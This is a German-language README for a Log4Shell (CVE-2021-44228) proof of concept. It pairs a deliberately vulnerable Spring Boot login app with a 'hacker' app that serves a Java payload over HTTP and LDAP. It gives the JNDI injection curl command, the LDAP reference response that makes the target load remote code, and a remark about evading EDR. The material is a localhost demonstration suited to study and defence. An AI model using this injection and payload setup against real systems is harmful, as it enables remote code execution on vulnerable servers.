Log4Shell CVE-2021-44228 Proof of Concept

Voraussetzung

Java (JDK/JRE) 8 oder spätere Version
curl

exploitable

Einfache Spring Boot-Anwendung, die eine Login-Seite mit Benutzername und Passwort bereitstellt. Sie protokolliert den Benutzernamen, wenn ein POST an / gesendet wird. Es ist nicht erforderlich, dass die Anwendung eine vom Benutzer bereitgestellte Eingabe protokolliert. Es reicht aus, das Zugriffsprotokoll zu aktivieren, das eine anfällige Version von log4j2 verwendet.

So wird's ausgeführt:

cd exploitable
../mvnw -q spring-boot:run

Standardmäßig hört es auf Port 8080. Wenn Sie http://localhost:8080/ im Browser aufrufen, sollten Sie etwa Folgendes sehen:

In pom.xml werden Sie die JVM-Eigenschaft bemerken:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

Dies ist in älteren Versionen des JDK nicht erforderlich. Der Standardwert wurde in folgenden Versionen auf false geändert: JDK 11.0.1, 8u191, 7u201 und 6u211. Auch ohne diese Eigenschaft ist die Anwendung anfällig für erste LDAP-Anfragen, die sensible Daten exfiltrieren können.

hacker

Hacker-Anwendung, die zwei Zwecke erfüllt:

Startet einen HTTP-Server auf Port 9090, um anfällige Payloads bereitzustellen
Startet einen In-Memory-LDAP-Server auf Port 1389

So wird's ausgeführt:

cd hacker
../mvnw -q spring-boot:run

In pom.xml können Sie den Standard-Payload ändern, der an exploitable-Anwendungen gesendet wird:

--class=SayHello ist der Standard, was bedeutet, dass SayHello.class als Payload gesendet wird.

Wie man es ausnutzt

Senden Sie eine curl-Anfrage an die Exploit-Anwendung, die sich in einem der vom Benutzer bereitgestellten Eingabefelder (Benutzername) auf den Hacker-LDAP-Server bezieht:

curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

In der Konsole der exploitable-Anwendung sollten Sie etwa Folgendes sehen:

Unter der Haube

Der Angreifer hat eines der Benutzereingabefelder als ${jndi:ldap://127.0.0.1:1389} gesendet
Das anfällige log4j2, das in der exploitable-Anwendung eingebettet ist, führt eine LDAP-Anfrage an 127.0.0.1:1389 durch

Es erhält die folgende Antwort zurück:

dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello

Die Anwendung versucht, die Exploit-Payload-Klasse von http://127.0.0.1:9090/SayHello.class abzurufen
Der Hacker-Server gibt die binären Bytes von SayHello.class zurück
Die Anwendung führt die Methode getObjectInstance in der Exploit-Klasse aus

Hinweis

Nach der ersten LDAP-Anfrage und möglicherweise dem Herunterladen der Exploit-Java-Klasse ist es für den Exploit nicht erforderlich, einen Prozess abzuzweigen oder eine zusätzliche Verbindung zum Internet herzustellen. Typischerweise können solche Exploits von EDR-Produkten usw. leicht erkannt werden. Ich vermute, dass neue Exploit-Payloads nativ in Java implementiert werden, um der Erkennung zu entgehen.

log4j2-exploit

Beliebteste